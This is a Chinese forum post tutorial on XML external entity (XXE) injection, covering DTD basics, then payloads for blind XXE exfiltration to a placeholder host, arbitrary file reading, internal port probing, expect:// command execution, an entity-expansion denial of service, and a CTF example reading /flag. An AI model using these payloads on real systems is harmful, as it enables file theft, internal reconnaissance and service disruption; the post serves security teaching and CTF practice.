设为首页收藏本站
网站公告 | 这是第一条公告
     

 找回密码
 立即注册
缓存时间12 现在时间12 缓存数据 做人啊,最要紧的是开心 你饿不饿,我去给你煮碗面 其实我不想给你煮面我只是想见你一面

做人啊,最要紧的是开心 你饿不饿,我去给你煮碗面 其实我不想给你煮面我只是想见你一面 -- 问你是否跟我走

查看: 1210|回复: 2

XML实体注入深入理解

[复制链接]

  离线 

TA的专栏

  • 打卡等级:热心大叔
  • 打卡总天数:204
  • 打卡月天数:0
  • 打卡总奖励:3167
  • 最近打卡:2023-08-27 09:22:23
等级头衔

等級:晓枫资讯-上等兵

在线时间
0 小时

积分成就
威望
0
贡献
430
主题
402
精华
0
金钱
4450
积分
862
注册时间
2022-12-23
最后登录
2025-3-14

发表于 2023-2-12 10:08:42 | 显示全部楼层 |阅读模式

引文

在平常的WEB渗透中,我们经常会遇到SQL注入、文件上传、SSRF、CSRF等一系列的漏洞,但XXE漏洞在座的读者们了解过吗。今天带大家了解一下这个危险程度同样很高的XXE漏洞。

简介

Xml外部实体注入漏洞(XML External Entity Injection)简称XXE,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可以构造加载恶意外部文件,进而通过恶意外部文件对服务器进行攻击。

基础知识

在了解XXE漏洞前,我们先看看什么是XML实体。XML根据简单概括为如下:可扩展标记语言 (Extensible Markup Language, XML) ,标准通用标记语言的子集,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML是标准通用标记语言 可扩展性良好,内容与形式分离,遵循严格的语法要求,保值性良好等优点。

可能单看文字读者们不太好理解,下面给大家简单举个例子:

110904ny5y355jjro8krj5.png

上图就是一个简单的XML实体,用代码显示可以展示为:

  1. <bookstore>
  2. <book category="COOKING">
  3. <title lang="en">Everyday Italian</title>
  4. <author>Giada De Laurentiis</author>
  5. <year>2005</year>
  6. <price>30.00</price>
  7. </book>
  8. <book category="CHILDREN">
  9. <title lang="en">Harry Potter</title>
  10. <author>J K. Rowling</author>
  11. <year>2005</year>
  12. <price>29.99</price>
  13. </book>
  14. <book category="WEB">
  15. <title lang="en">Learning XML</title>
  16. <author>Erik T. Ray</author>
  17. <year>2003</year>
  18. <price>39.95</price>
  19. </book>
  20. </bookstore>
复制代码

其中根的元素是 bookstore,book中 元素有子元素:author、title、year、price。

DTD

DTD(文档类型定义)可以合法的定义xml标签,DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用,接下来带大家详细看一下它的内部结构以更好的去理解。

内部DOCTYPE声明

  1. <?xml version="1.0"?>
  2. <!DOCTYPE note[ <!--定义此文档是 note 类型的文档-->
  3. <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
  4. <!ELEMENT X (#PCDATA)>
  5. <!ELEMENT I (#PCDATA)>
  6. <!ELEMENT N (#PCDATA)>
  7. <!ELEMENT O (#PCDATA)>
  8. ]>
  9. <note>
  10. <to>I</to>
  11. <from>A</from>
  12. <head>M</head>
  13. <body>XINO!</body>
  14. </note>
复制代码

外部DOCTYPE声明

  1. <!DOCTYPE 根元素 SYSTEM "URL">
复制代码

XML实体注入

了解了上面的基础知识后,我们便可以进一步学习XXE漏洞。

我们要想利用,首先要判断服务器会不会解析XML实体,所以开始时我们先上传一个测试文件来判断服务器是否能解析该类型,如果解析了,我们才可以继续利用这个漏洞。

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE ANY [
  3. <!ENTITY name "hello">
  4. ]>
  5. <root>&name;</root>
复制代码

判断服务器是否解析之后我们可以看看是否支持外部实体调用:

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE ANY [
  3. <!ENTITY name SYSTEM "vps/hack.dtd">
  4. ]>
  5. <root>&name;</root>
复制代码

判断完之后就可以做进一步测试了,比如:

110904mbyih2lhxlu3vy3z.jpeg

无回显XXE(BLIND XXE)

我们将获取的数据发送到外部的http服务器上,后面查看http服务器即可查看到提取的数据内容。

举一个最简单的例子:

  1. #test.xml
  2. <!ENTITY % all
  3. "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx/x.php?1=%file;'"
  4. >
  5. %all;
复制代码

对应的payload可以写作为:

  1. <!DOCTYPE ANY[
  2. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
  3. <!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/test.xml">
  4. %remote;
  5. %send;
  6. ]>
复制代码

首先对 remote 引用的目的是将外部文件 test.xml 引入到文中,检测到 send 实体,在节点中引用 send,就可以成功实现数据转发。也就实现了数据的外带。

读取任意文件

这个也是XXE比较常用的方法,我们引入(或编辑)一个DOCTYPE元素,该元素定义一个包含文件路径的外部实体。

110904l3wpup7bip2yskha.jpeg

探测内网端口

我们利用XXE也可以进行内网探测端口(类似于SSRF),以用来进一步对机器照成攻击:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY>
  4. <!ENTITY xxe SYSTEM "http://127.0.0.1:80">]>
  5. <root>
复制代码

命令执行

这个还是比较少见的,因为命令执行的条件比较苛刻,要求靶机php装有expect扩展,但这个扩展是默认不安装的,所以比较难利用。

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "expect://id" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>
复制代码

dos拒绝服务

这个不是很了解,在网上浏览时注意到的,原理大概是利用迭代参数实体进行拒绝服务,让服务器的解析变得非常非常慢。

  1. <?xml version="1.0"?>
  2. <!DOCTYPE xml [
  3. <!ENTITY xxe1 "xxe">
  4. <!ENTITY xxe2 "&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;">
  5. <!ENTITY xxe3 "&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;">
  6. <!ENTITY xxe4 "&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;">
  7. <!ENTITY xxe5 "&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;">
  8. <!ENTITY xxe6 "&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;">
  9. ]>
  10. <test>&xxe6;</test>
复制代码

例题

[PHP]XXE

打开是一个登录界面:

110905z9oageu0oubtcigv.jpeg

在源码处会发现:

  1. <button id="go" onclick="XMLFunction()">GO!</button>
复制代码

可以判断会解析XML文件,尝试构造payload直接读取文件:

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE root[
  3. <!ENTITY admin SYSTEM "file:///flag">
  4. ]>
  5. <root>
  6. <username>&admin;</username>
  7. <password>xino</password>
  8. </root>
复制代码

抓包构造恶意数据然后发包:

110905gpzvnipbzpdmppa9.png

结语

今天比较详细的讲了XXE漏洞的原理以及应用方法,有兴趣的小伙伴可以自己去搭建靶机来进行测试,以上就是XML实体注入深入理解的详细内容,更多关于XML实体注入的资料请关注晓枫资讯其它相关文章!


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
晓枫资讯-科技资讯社区-免责声明
免责声明:以上内容为本网站转自其它媒体,相关信息仅为传递更多信息之目的,不代表本网观点,亦不代表本网站赞同其观点或证实其内容的真实性。
      1、注册用户在本社区发表、转载的任何作品仅代表其个人观点,不代表本社区认同其观点。
      2、管理员及版主有权在不事先通知或不经作者准许的情况下删除其在本社区所发表的文章。
      3、本社区的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,举报反馈:点击这里给我发消息进行删除处理。
      4、本社区一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
      5、以上声明内容的最终解释权归《晓枫资讯-科技资讯社区》所有。
http://bbs.yzwlo.com 晓枫资讯--游戏IT新闻资讯~~~

  离线 

TA的专栏

  • 打卡等级:即来则安
  • 打卡总天数:26
  • 打卡月天数:0
  • 打卡总奖励:318
  • 最近打卡:2025-04-19 11:25:52
等级头衔

等級:晓枫资讯-列兵

在线时间
0 小时

积分成就
威望
0
贡献
0
主题
0
精华
0
金钱
363
积分
54
注册时间
2023-1-1
最后登录
2025-4-19

发表于 2025-2-12 14:56:53 | 显示全部楼层
感谢楼主分享。
http://bbs.yzwlo.com 晓枫资讯--游戏IT新闻资讯~~~

  离线 

TA的专栏

等级头衔

等級:晓枫资讯-列兵

在线时间
0 小时

积分成就
威望
0
贡献
0
主题
0
精华
0
金钱
17
积分
14
注册时间
2022-12-24
最后登录
2022-12-24

发表于 2025-4-7 05:48:48 | 显示全部楼层
路过,支持一下
http://bbs.yzwlo.com 晓枫资讯--游戏IT新闻资讯~~~
严禁发布广告,淫秽、色情、赌博、暴力、凶杀、恐怖、间谍及其他违反国家法律法规的内容。!晓枫资讯-社区
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

1楼
2楼
3楼

手机版|晓枫资讯--科技资讯社区 本站已运行

CopyRight © 2022-2025 晓枫资讯--科技资讯社区 ( BBS.yzwlo.com ) . All Rights Reserved .

晓枫资讯--科技资讯社区

本站内容由用户自主分享和转载自互联网,转载目的在于传递更多信息,并不代表本网赞同其观点和对其真实性负责。

如有侵权、违反国家法律政策行为,请联系我们,我们会第一时间及时清除和处理! 举报反馈邮箱:点击这里给我发消息

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表